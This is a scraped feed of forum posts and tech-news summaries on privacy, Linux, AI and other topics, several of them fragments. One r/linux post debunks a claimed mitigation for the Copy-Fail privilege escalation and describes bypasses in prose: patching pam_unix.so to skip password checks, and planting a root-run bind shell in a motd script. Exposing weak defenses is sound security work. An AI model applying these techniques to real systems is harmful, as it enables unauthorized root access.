    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;Hi all, &lt;/p&gt; &lt;p&gt;I don&amp;#39;t know if this has been discussed here but I am experiencing something strange. I took the initiative to have as much of my information removed from sites like Spokeo, Whitepages, Truthfinder, Intelius, etc. I even went as far as getting a private mailbox separate from my residence to receive mail and packages, and for banking use. I took down FB. I occasionally search myself on Google, Yahoo, and Bing to see if any identifiable information comes up. Well recently on Bing every time I search my name and my current home address pops up. The address comes from sites like Zillow, Realtor, etc. It won&amp;#39;t take long to put two and two together a figure out &amp;quot;oh hey this person may be living here.&amp;quot; &lt;/p&gt; &lt;p&gt;The information is not on data broker sites but rather what is happening is that your name is being associated with an address and the AI search algorithm will use the address as listed on a site like Zillow, Realtor, Steeteasy etc and pop up as a suggestion of information in the search results. This to me is scary.&lt;/p&gt; &lt;p&gt;Has this happened to anyone else here? How can I confuse the algorithm or &amp;quot;taint&amp;quot; the search so that my personal home address is not associated with my current address? TY&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/jewellington"&gt; /u/jewellington &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/privacy/comments/1t2270x/ai_search_algorithms_are_possibly_doxxing_people/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/privacy/comments/1t2270x/ai_search_algorithms_are_possibly_doxxing_people/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

<title>Using Drones for Cloud-Seeding Can Trigger Rain, Company Claims</title>
<link href="https://news.slashdot.org/story/26/05/02/1556244/using-drones-for-cloud-seeding-can-trigger-rain-company-claims?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">Monday a company called Rainmaker announced their rain-triggering technology had produced 143 million gallons of freshwater for Utah and Oregon residents &amp;mdash; making them "the first private company in history to validate the results of cloud seeding operations." 

The Deseret News reports:

Founded in 2023, Rainmaker uses drones to disperse silver iodide into clouds, then they track precipitation with advanced radar. However, Rainmaker &amp;mdash; and every other rain-enhancement company &amp;mdash; has been up against the notoriously difficult challenge of validation. Since there is no control set to test, and because the weather is chaotic and variable, the Government Accountability Office declares the benefits of the technology to be "unproven." To overcome this evaluation challenge, Rainmaker flies drones in unique patterns when seeding. Then operators compare distinct radar and satellite features with where their drones operated. 
As of April, Rainmaker found 82 unambiguous seeding signatures, which show their seeding operations directly caused precipitation. In Utah and Oregon alone, the company said its cloud-seeding efforts have added enough water to match the annual usage of about 1,750 households. However, "this figure likely represents only a small fraction of Rainmaker's total generation this season," the company said in their press release... Their drone precision, combined with their radar systems, have produced satellite images proving a direct correlation between the seeding and precipitation. Some images show cloud holes or regions of depressed cloud tops after seeding. 

Rainmaker's announcement promises they'll "go forward and continue our mission to refill the Great Salt Lake, end drought in the American West and deliver water abundance wherever it is needed most around the world." (Rainmaker currently operates in Utah, Idaho, Oregon, California and Colorado.) 
The director of Utah's Natural Resources Department told the Deseret News that with cloud seeding, "cost per unit of water is so low; it really is the smartest thing we can be doing with our money," Ferry said.&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;Recently open source subreddits have started seeing a large number of vibecoded personal projects that look novel or useful on the surface, but in reality represent one weekend of prompting by the vibecoder.&lt;/p&gt; &lt;p&gt;At best these are benign novelties that maybe get a bunch of unwarranted upvotes but don&amp;#39;t really harm anyone. At worst they&amp;#39;re unaudited, poorly designed garbage software that looks impressive at a glance, tricking people into installing it on their computers, which will at best lead to some frustration and wasted time and at worst to &lt;code&gt;-DGAPING_SECURITY_HOLE&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;Because these projects take basically no investment on the author&amp;#39;s part, they tend to quickly become abandonware as the author&amp;#39;s interest wanes or as they become frustrated with the currently inevitable technical debt reckless vibecoding produces. As a result, projects like this are of negative worth to the open source community.&lt;/p&gt; &lt;p&gt;Naturally, these people almost never disclose that they vibecoded their project.&lt;/p&gt; &lt;h1&gt;The rule proposal&lt;/h1&gt; &lt;p&gt;The proposal is simple. Expand the current self-promotion rule to forbid all personal projects under 3 months old. The project&amp;#39;s age would most easily be proven by a public git repository with 3+ months of commit history. Probably we should also forbid closed-source personal projects, but that&amp;#39;s a separate discussion.&lt;/p&gt; &lt;p&gt;This works because 90% of problematic slop projects are made by attention-seeking people who want to make something cool and show it to other people, and most importantly don&amp;#39;t want to spend a lot of time or effort doing it. If the developer has stuck with the project for three months, it&amp;#39;s likely either not vibecoded in the first place (because real projects take time), or the author is dedicated enough that it being vibecoded isn&amp;#39;t automatically a massive problem.&lt;/p&gt; &lt;p&gt;I&amp;#39;ve seen rules like this in a few communities and they seem to work pretty well.&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/turdas"&gt; /u/turdas &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t20z8s/meta_rule_proposal_no_personal_projects_newer/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t20z8s/meta_rule_proposal_no_personal_projects_newer/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;Hello! Today I have battled with my Win computer for two hours because I had to install a language back that suddenly appeared on my computer, that I couldn&amp;#39;t remove because they changed the settings so we couldn&amp;#39;t remove keyboard layouts by ourselves anymore.&lt;/p&gt; &lt;p&gt;So I had three English languages installed on my computer for some reason, even though I never asked to. My computer was set to English world.&lt;/p&gt; &lt;p&gt;As a learner of Korean and Japanese, French native and English fluent, I always have a few languages installed because I need to use the Qwerty layout, which isn&amp;#39;t native to me, microsoft&amp;#39;s IME for Korean and Japanese, the first one I removed or wished to because I needed to use Romaja.&lt;/p&gt; &lt;p&gt;I already did that on my Linux computer running cachyOS and KDE Plasma and it was the easiest thing ever. I just installed fcitx5, selected Hangeul, then, put it to Romaja. Romaja such a godly format for learners. it has some of its issues but it&amp;#39;s completely fine.&lt;/p&gt; &lt;p&gt;Same for Japanese, it was just super easy.&lt;/p&gt; &lt;p&gt;On Windows, however, it was such a big struggle. I had to edit the registry keys, then go to the control panel that microslop wants to make obsolete. I had to change the settings for all users on my computer which is me and a ghost for some reason.&lt;/p&gt; &lt;p&gt;But it wasn&amp;#39;t enough. I had to kill the service that allowed me to switch languages. I had to tweak around, tweak around, tweak around, delete more registry keys that respawned at each restart for some reason.&lt;/p&gt; &lt;p&gt;And here I am stuck with two Korean languages because Microsoft IME sucks so bad. I just want to get rid of it, but I can&amp;#39;t get rid of it without removing the Korean pack on my computer, which is something I do not wish to let go of.&lt;/p&gt; &lt;p&gt;So here I am, at least I got rid of the mysterious British English French keyboard that appeared. But I still have that fuckass second Korean keyboard forced onto me.&lt;/p&gt; &lt;p&gt;And this just made me think about how much easier Linux is actually. Okay, maybe I have to open terminal to do most things that a power user wouldn&amp;#39;t do. But at least I don&amp;#39;t have to become trusted installer. I don&amp;#39;t have to ask permissions from something that exploits a vulnerability in my computer to do things with my own hardware.&lt;/p&gt; &lt;p&gt;When you delete something on Linux, there is an application telling you, &amp;quot;oh no, you can&amp;#39;t do that. I&amp;#39;m using that or something else telling you, oh no, this actually makes the program run. You can&amp;#39;t get rid of it, it will break it.&amp;quot;&lt;/p&gt; &lt;p&gt;If I wanted to uninstall my fucking bootloader, let me.&lt;/p&gt; &lt;p&gt;This is my fucking computer, and you&amp;#39;re telling me that I cannot change things on my computer like the region of setup. What if I just moved away from France where I have to reinstall my Windows to comply with local laws? Why even assign to me in a country to begin with? Why are you collecting all the data on my computer?&lt;/p&gt; &lt;p&gt;Maybe you need a few third parties in Linux because it&amp;#39;s the essence of what it is. But it&amp;#39;s crazy that in Windows I have to do all of this to just install a single program.&lt;/p&gt; &lt;p&gt;At this point, I wouldn&amp;#39;t be surprised if the new Microsoft CEO just came in your house and held your dick to pee then squeezed it to tell you you can&amp;#39;t piss more than 75% of your bladder because why the fuck not.&lt;/p&gt; &lt;p&gt;Maybe I have to emulate software right now. Maybe I have to tweak my computer programs to run them on Linux, but it&amp;#39;s so much less of a hassle than having to change my region, having to change everything on my computer for it to work. But at least I don&amp;#39;t have to make an account on the internet that locks me out if I forget my literal online password to log in to my local computer. Why would I have to have Windows hello to tell me I can log in with a pin? I don&amp;#39;t care. A simple wallet system works. Why is it necessary? It&amp;#39;s just all data collection I hate it.&lt;/p&gt; &lt;p&gt;It is crazy that on an OS which prioritises having a good GUI, being user friendly and overall looking like a tablet, i have to tweak so much stuff to just have my computer fit me in my needs. Linux is so much simpler. You want something, you get it. You don&amp;#39;t want something, you remove it. You don&amp;#39;t have something yet. You can even develop it yourself. You don&amp;#39;t have to sign an application to run it. No need to pay a fee. No cloud storage. No forced synchronization.&lt;/p&gt; &lt;p&gt;I am grateful that alternatives like this still exist and sadly I still need to keep going on windows for many reasons that only regard me. But Linux will forever hold a place in my heart that will always beat whenever Windows is shitting with me.&lt;/p&gt; &lt;p&gt;Long live user freedom. &lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/Walk-the-layout"&gt; /u/Walk-the-layout &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t20q8a/after_using_linux_for_a_while_i_forgot_how_much_i/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t20q8a/after_using_linux_for_a_while_i_forgot_how_much_i/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

<title>What if Tech Company Layoffs Aren't All About AI?</title>
<link href="https://it.slashdot.org/story/26/05/02/0338227/what-if-tech-company-layoffs-arent-all-about-ai?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">"Running a Big Tech company during Silicon Valley's AI mania may not necessarily require fewer workers or cost less," writes the Washington Post:

Amazon, Google and Meta together have roughly the same number of employees now as they did during an industry-wide hiring binge in 2022, company disclosures show. Growing costs for technical workers and related expenses have often outpaced sales recently. The tech giants' big AI bet hasn't yet paid for itself. 

That means AI might be killing jobs not through its labor-saving wizardry but by increasing spending so much that CEOs are pressured to find savings, giving them cover to consciously uncouple from their workforces. Marc Andreessen, a prominent start-up investor and a Meta board director, put it bluntly on a recent podcast. Big company layoffs are a fix for overstaffing and changing economic conditions, he said, but AI provides a convenient scapegoat. "Now they all have the silver bullet excuse: 'Ah, it's AI,'" he said... 
 "Almost every company that does layoffs is blaming AI, whether or not it really is about AI," Sam Altman, CEO of ChatGPT owner OpenAI, said at a March conference when he listed explanations for AI's unpopularity in the United States. 
"Recent history suggests Big Tech companies might not be moving toward a future with fewer workers," the article concludes, "but recalibrating to spend the same, or more, on different people and projects." 

So in the end, "AI might soon reduce hiring," the article acknowledges, "But the reluctance or inability of the largest tech firms to cut too deeply so far could also show that the path to making a workforce AI-ready &amp;mdash; whatever that means &amp;mdash; isn't a predictable straight line charting declining headcount."&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

<title>An Amateur Just Solved a 60-Year-Old Math Problem - by Asking AI</title>

<summary type="html">Slashdot reader joshuark writes: Scientific American reports that a ChatGPT AI has proved a conjecture with a method no human had developed. A 23-year-old student Liam Price just cracked a 60-year-old problem that world-class mathematicians have tried and failed to solve. The new solution that Price got in response to a single prompt to GPT-5.4 Pro was posted on www.erdosproblems.com, a website devoted to the Erds problems. The question Price solved &amp;mdash; or prompted ChatGPT to solve&amp;mdash;concerns special sets of whole numbers, where no number in the set can be evenly divided by any other... 

Price sent it to his occasional collaborator Kevin Barreto, a second-year undergraduate in mathematics at the University of Cambridge. The duo had jump-started the AI-for-Erds craze late last year by prompting a free version of ChatGPT with open problems chosen at random from the Erds problems website. Reviewing Price's message, Barreto realized what they had was special, and experts whom he notified quickly took notice.&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

    <title>Ownerless, immutable settlement protocols for real-world assets: no operator, no capture, no data</title>
    <link rel="alternate" href="https://lemmy.ml/post/46749060" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.ml/u/pablochacon"&gt;pablochacon&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;3 points | &lt;a href="https://lemmy.ml/post/46749060"&gt;4 comments&lt;/a&gt;&lt;p&gt;I have deployed a collection of independent smart contract protocols on Ethereum mainnet. Each one is finished infrastructure. No governance, no upgrade path, no owner. Ownership is renounced on all contracts. The contracts are deployed and the keys are gone.&lt;/p&gt;
&lt;p&gt;This post is for the privacy angle. The full technical documentation is in the repo linked at the bottom.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Minimal data, by architecture&lt;/h2&gt;
&lt;p&gt;No protocol stores personally identifiable information. On-chain data is limited to cryptographic commitments, timestamps, addresses, and amounts. All sensitive data stays off-chain with the parties involved.&lt;/p&gt;
&lt;p&gt;This is GDPR compliant by architecture, not by policy. There is no personal data to protect because the system is not designed to collect it. The deployer controls their own data. The user controls their own disclosure.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;No operator, no capture&lt;/h2&gt;
&lt;p&gt;The contracts are deployed with renounced ownership. There is no entity that can be subpoenaed, pressured, or acquired. The privacy is structural, it holds regardless of what any individual, platform, or authority wants.&lt;/p&gt;
&lt;p&gt;Most privacy tools rely on the trustworthiness of an operator. These protocols have no operator to make promises and no operator to break them.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Currency agnostic&lt;/h2&gt;
&lt;p&gt;Every protocol settles on Ethereum mainnet. What currency a user pays in is a platform decision. A platform can accept XMR, BTC, ETH, fiat, or any combination and convert to ETH at the platform layer before interacting with the protocol.&lt;/p&gt;
&lt;p&gt;Combined with the atomic, hop-by-hop settlement structure, this means the payment trail fragments naturally across chains without any privacy feature being explicitly designed in. It is a structural consequence of currency agnosticism and independent atomic settlements.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Human rights and legal grounding&lt;/h2&gt;
&lt;p&gt;The right to private correspondence is not a crypto argument. It is a human rights argument.&lt;/p&gt;
&lt;p&gt;Universal Declaration of Human Rights, Article 12 covers it. ECHR Article 8 covers it. GDPR covers it. A parcel dispatched between two parties with no central record of who sent what to whom is functionally identical to a sealed letter. The legal and moral precedent for protecting that is centuries old.&lt;/p&gt;
&lt;p&gt;These protocols are built in that direction. Anyone arguing against this privacy model is arguing against the existing human rights framework.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Documentation, protocol repositories, template repositories, and orchestration examples:&lt;/p&gt;

<title>Costumed Crowd 'Speedruns' Scientology Building For Social Media Trend</title>
<link href="https://tech.slashdot.org/story/26/05/02/0552238/costumed-crowd-speedruns-scientology-building-for-social-media-trend?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">Last Saturday someone dressed as Jesus "was among the dozens of people in costumes and masks seen on a video forcing open the door of a Scientology building on Hollywood Boulevard," reports the Los Angeles Times, "after a tug-of-war with a security guard."

The footage posted on TikTok and Instagram shows the group sprinting up and down stairs and clashing with black-shirted security guards, giggling and gasping to catch their breath while church members scream at them to leave. On their way out &amp;mdash; as security guards approach armed with fire extinguishers &amp;mdash; one of the sprinters stops and dances to celebrate their successful escape, a move reminiscent of a taunt from the video game Fortnite. For weeks, groups of people have barged into two of the church's Hollywood properties, racing through hallways and tussling with security guards, trying to see how far they can get before they are forced to leave by church staff... 

Church officials say the incidents are not a game and have accused the speed runners of "hate crimes." After dozens on Saturday stormed the Ivar Avenue building that houses an exhibit dedicated to the church's founder, science fiction author L. Ron Hubbard, the external door handles were removed from all three of Scientology's properties on Hollywood Boulevard by Sunday morning. Guards could be seen blocking the doorway to one building on Monday afternoon... 

No arrests have been made. 

A report from the Associated Press cites a joke left on one of the videos: that if runners reach the top of the building, they'll find Tom Cruise.

One commenter on a recent TikTok video of a speedrun asked why people are doing this, and another user simply replied, "because it's fun."
 

The 18-year-old who started the trend told the Hollywood Reporter his original video has been viewed over 100 million times. "From there on out, I pretty much knew that Scientology was like a free gateway to a lot of views." 
Vulture notes that "there's even a Roblox re-creation of the trend, made using the 'maps; drawn from actual videos"&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

Persona is the Peter Thiel -backed mass surveillance company that has now being implemented across platform to collect and map personal data, and most crucially, biometric data. &lt;/p&gt; &lt;p&gt;It is really weird that the EU is letting this happen since Persona is an American company and is now mapping Europeans&amp;#39; identities and faces, along with the poor UK citizens (who are heavily surveilled by their own government). &lt;/p&gt; &lt;p&gt;The penalty for not uploading is shop closure, basically.

Plugins provide resource management capabilities in the form of Target Handlers and Frontend Handlers, while state is managed by the engine.&lt;/p&gt; &lt;p&gt;Target Handlers “warm” backend services on demand like EC2 instances. Frontend Handlers intercept traffic on behalf of the backend and can choose when to warm the target. All the while, the engine leverages built-in kernel routing features to switch routes towards the backend.&lt;/p&gt; &lt;p&gt;Current features and amenities include:&lt;/p&gt; &lt;p&gt;* YAML-based configuration and pre-made schemas&lt;/p&gt; &lt;p&gt;* Automatic idle-tracking for Targets&lt;/p&gt; &lt;p&gt;* Per-route configurable flow timeouts&lt;/p&gt; &lt;p&gt;* Day-one support for both UDP and TCP&lt;/p&gt; &lt;p&gt;* Built-in static plugins for simple always-on/http/cmd targets&lt;/p&gt; &lt;p&gt;* External plugins for AWS, Minecraft, and Valheim targets&lt;/p&gt; &lt;p&gt;I use this project today to host expensive game servers at the fraction of the cost and without the headache of managing them either by hand or with ad-hoc solutions.&lt;/p&gt; &lt;p&gt;I did this work in my spare time so that you could start using it today for free. If someone finds it as helpful as I have, please let me know and share your setup with us.&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/Achromase"&gt; /u/Achromase &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1t1upoz/proxygw_a_niche_opensource_l4_proxy/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1t1upoz/proxygw_a_niche_opensource_l4_proxy/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

The camera plugs into a phone running an AI system that watches for early signs of diabetes &amp;mdash; all without needing a blood draw, eye dilation, or a dibetes specialist. It's already been used in 40 countries for more than 15 million patients.



But that same hardware, with different software, can also flag the conditions that drive so many dangerous pregnancies. Gestational diabetes sharply increases the risk of pre-eclampsia [a spike in blood pressure during pregnancy responsible for half a million fetal deaths every year and 70,000 maternal deaths]... In most of rural sub-Saharan Africa or South Asia, it usually isn't screened for at all, because the standard test requires a lab. A retinal scan offers a different way in. 

Remidio's device is currently being used in India to screen pregnant women for conditions that drive stillbirth. And researchers are now adapting the same hardware to screen for anemia and hypertension, too... [S]mall, portable, affordable diagnostics in the hands of community health workers are exactly the kind of lever that can start to move a number that hasn't moved in a long time.&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

<summary type="html">Steam on Linux use in March "had skyrocketed to 5.33%..." reports Phoronix, "easily the highest level we've seen Steam on Linux at since its inception more than a decade ago." 

So what happened in April?
[April's results] point to Linux having a 4.52% marketshare on Steam, a drop of 0.81% compared to March. Year-over-year it's roughly double with Steam on Linux in April 2025 being at 2.27%. Or two years ago for April 2024, Steam on Linux was at 1.9%.

<title>Marvel, DC, Game Publishers Launch Rival Events Saturday for Free Giveaways</title>
<link href="https://news.slashdot.org/story/26/05/02/0257206/marvel-dc-game-publishers-launch-rival-events-saturday-for-free-giveaways?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">The once-a-year free comic book giveaway "is splitting in two," according to a local news report. 

Launched in 2002 by Diamond Comic Distributor, comic book giants like Marvel and DC have historically participated together. But things changed after Diamond Comic Distributors went bankrupt in 2025, "leaving other companies to swoop in and pick up where Diamond left off."

The rights to the "Free Comic Book Day" brand were sold to Universal Distribution, which plans to bring Free Comic Book Day back on Saturday. On the same day, Penguin Random House plans to launch a rival event called Comics Giveaway Day. This means you'll still get plenty of free comics, but this time they will be separated, with some coming under the Free Comic Book Day branding and others arriving under the Comics Giveaway Day branding. Free Comic Book Day will include publishers like DC, Image, Dynamite and Archie Comics. Comics Giveaway Day will include publishers such as Marvel, Dark Horse, Boom! Studios and Tokyopop... 

The other big change coming this year is the introduction of game publishers Wizards of the Coast and Upper Deck to the lineup, as part of Universal Distribution's Free Comic Book Day. Wizards of the Coast is known for its tabletop role-playing game Dungeons &amp;amp; Dragons, as well as its trading card game Magic: The Gathering. Upper Deck is best known for its sports trading cards and entertainment collectibles, along with deck-building games like the Legendary series... 

In addition to adding these game makers, Universal plans to expand Free Comic Book Day to include what are colloquially referred to as your friendly local game stores.

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;i’ve been looking at my adguard to check what stuff gets blocked etc. and what I keep noticing is the Sky Q Box. i only signed the contract to watch formula 1 on it, because they have a monopoly here and it’s the only way to watch f1 at all. While most of my devices seem controlled other than the apple spam and my company laptop, this Sky Q Box is really weird.&lt;/p&gt; &lt;p&gt;this thing is basically “turned off” aka on standby the entire time unless a f1 race is currently happening. but 1-2 times per minute it pings a domain owned by the nielsen group (?) which is apparently a company using user data to see what ads get skipped and watched, what TV stuff is popular etc. and multiple telemetry domains from sky/comcast. even netflix “NRDP” is being pinged by the box once per minute even though I dont use netflix. &lt;/p&gt; &lt;p&gt;honestly wtf is this device, its already so expensive to watch f1 compared to legitimate f1 tv in countries where its supported through this company. im basically in the contract until 2027, and while i do want to watch f1 this device seems very intrusive. I cant even use the subscription on other devices than their box unless I pay a noticeable extra monthly fee, and even then i think using the PS5 app will not make much of a difference.&lt;/p&gt; &lt;p&gt;while I see that my adguard filters are blocking all of it, i dont know what “slips through”, maybe some hardcoded IPs that dont use my dns? No one can look into this shitty box after all&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/NepuNeptuneNep"&gt; /u/NepuNeptuneNep &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/privacy/comments/1t1rhgh/annoyed_about_sky_q_box/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/privacy/comments/1t1rhgh/annoyed_about_sky_q_box/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;Since the &lt;a href="https://www.reddit.com/r/linux/comments/1szu253/short_and_easy_to_understand_copyfail/?utm_source=share&amp;amp;utm_medium=web3x&amp;amp;utm_name=web3xcss&amp;amp;utm_term=1&amp;amp;utm_content=share_button"&gt;reddit post by owLSM owners regarding Copy-Fail&lt;/a&gt; was published, I saw almost 90 upvotes on it and none of these upvoters actually checked under the hood of this &amp;quot;solution&amp;quot;.&lt;/p&gt; &lt;p&gt;I want to completely debunk this solution here.&lt;/p&gt; &lt;p&gt;First, I argued about why this is wrong in comments &lt;a href="https://www.reddit.com/r/linux/comments/1szu253/comment/oj9xwbt/?utm_source=share&amp;amp;utm_medium=web3x&amp;amp;utm_name=web3xcss&amp;amp;utm_term=1&amp;amp;utm_content=share_button"&gt;there&lt;/a&gt;, I don&amp;#39;t think it is necessary to duplicate arguments here. I got few upvotes. So I mainly think that people were skeptical about my comment, maybe my explanations are, I don&amp;#39;t know, too complex maybe?&lt;/p&gt; &lt;h1&gt;Paths to bypass the owLSM mitigation&lt;/h1&gt; &lt;p&gt;So today, I decided to make a demo that completely bypass their &amp;quot;mitigation&amp;quot;, just for fun, it is not so difficult, and proved by several people in comments section. All those comments still got few upvotes.&lt;/p&gt; &lt;p&gt;I was first think about something using &lt;code&gt;run0&lt;/code&gt;, that is not using &lt;code&gt;setuid&lt;/code&gt; at all, but only DBus communication, but it is not so widely applicable on minimal cloud images. Then I thought to rewrite &lt;code&gt;pam_unix.so&lt;/code&gt; at location where &lt;code&gt;pam_sm_authenticate&lt;/code&gt; call with a &lt;code&gt;return 0;&lt;/code&gt; in order to avoid completely the password check. But in order to not be triggered by owLSM, it needs to use SSH with root login allowed, and minimal images generally disables it.&lt;/p&gt; &lt;p&gt;So last thought : &lt;code&gt;motd&lt;/code&gt; feature, this is still implemented in ubuntu cloud minimal and executed by root. So I thought, all I need is to rewrite &lt;code&gt;/etc/update-motd.d/00-header&lt;/code&gt; file to insert a local bind-shell and then connect to it with a simple client.&lt;/p&gt; &lt;p&gt;All of these solutions are trivial when you are performing pentest, I believe there are many other ways to obtain ruid=0 without using SUID.&lt;/p&gt; &lt;h1&gt;Finally, nothing such complex is necessary&lt;/h1&gt; &lt;p&gt;And guess what? I found an awesome github account that uses an elegant way to perform the exploit &lt;a href="https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431"&gt;here&lt;/a&gt; named Crihexe who decided to make the most tiny exploit. And this exploit, is way more elegant than the Copy-fail first PoC.&lt;/p&gt; &lt;p&gt;The exploit is rewriting the credentials of the current process to set directly ruid=0, so all it needs to do is execve /bin/sh at the end and you&amp;#39;re root, leaving the LSM completely blind.&lt;/p&gt; &lt;p&gt;Since people are still skeptical, I decided to install owLSM and test it against Crihexe&amp;#39;s exploit. Fortunately, the project already ships with all the tools needed to test it inside a VM. Only a few modifications were needed to get owLSM working... and done!&lt;/p&gt; &lt;p&gt;I forked the repo &lt;a href="https://github.com/LeChatP/debunk-owLSM-Copy-Fail"&gt;here&lt;/a&gt;, enable owLSM ; which is btw unsafe and insecure as what I saw during my installation process ; Anyway, I tried the exploit... and it just works even with owLSM policy enabled. I did it in livestream! &lt;a href="https://www.twitch.tv/lechatp/clip/IronicLuckyCocoaAMPEnergyCherry-5sh0qXCCuKpiGthc"&gt;So here is the clip to show you that the mitigation just does not work&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;Discussion&lt;/h1&gt; &lt;p&gt;We all make mistakes. That&amp;#39;s OK. But unfortunately, owLSM owner decided to make some advertisement on this big mistake. This is problematic because it damages the credibility of the project.&lt;/p&gt; &lt;p&gt;Also saw that the project is AI vibe-coded as long Cursor is contributor of the project. So my guess is that owLSM owners asked their AI if their idea were working, and the AI said naively yes. Thus, making them in the wrong direction from the start.&lt;/p&gt; &lt;h1&gt;Conclusion&lt;/h1&gt; &lt;p&gt;None of my conclusions are satisfying myself. I wanted to make this publication because it was important for me to explain to all those upvoters that what they thought was security was actually flawed. Just be careful next time.&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/LeChatP"&gt; /u/LeChatP &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t1qqb5/copyfail_debunking_owlsm_cve202631431_mitigation/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t1qqb5/copyfail_debunking_owlsm_cve202631431_mitigation/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

We wanted one place we could self-host where the context stays inspectable, portable, and not locked inside another SaaS workspace.&lt;/p&gt; &lt;p&gt;The basic idea: a realtime canvas where project notes, longer docs, decisions, files, links, embeds, and agent outputs can live together. Workspaces are backed by Markdown/YAML files with git history, so the content is easy to inspect, sync, back up, or move somewhere else.&lt;/p&gt; &lt;p&gt;It can be used with other people, but the self-hosted use case I care about here is simpler: keeping your own project memory in one place, especially if you use AI tools and do not want their outputs trapped in separate chat threads.&lt;/p&gt; &lt;p&gt;Self-hosting details:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Apache 2.0&lt;/li&gt; &lt;li&gt;Docker Compose setup in the repo&lt;/li&gt; &lt;li&gt;PostgreSQL + Redis&lt;/li&gt; &lt;li&gt;Yjs/WebSockets for realtime collaboration&lt;/li&gt; &lt;li&gt;React/TypeScript frontend, AdonisJS backend&lt;/li&gt; &lt;li&gt;CLI for workspace sync&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Caveat: the base app can run from the repo, but the full agent experience needs several service accounts and keys: LLM provider keys, Composio, Parallels, and sandbox/tool configuration. There is no clean way around that right now because Kanwas is a full workspace, not just a notes app.&lt;/p&gt; &lt;p&gt;Repo: &lt;a href="https://github.com/kanwas-ai/kanwas"&gt;https://github.com/kanwas-ai/kanwas&lt;/a&gt;&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/PredragTHEDEV"&gt; /u/PredragTHEDEV &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://i.redd.it/6hbdla1p5qyg1.png"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/foss/comments/1t1pout/i_built_a_selfhostable_canvas_for_my_project/"&gt;[comments]&lt;/a&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</content>

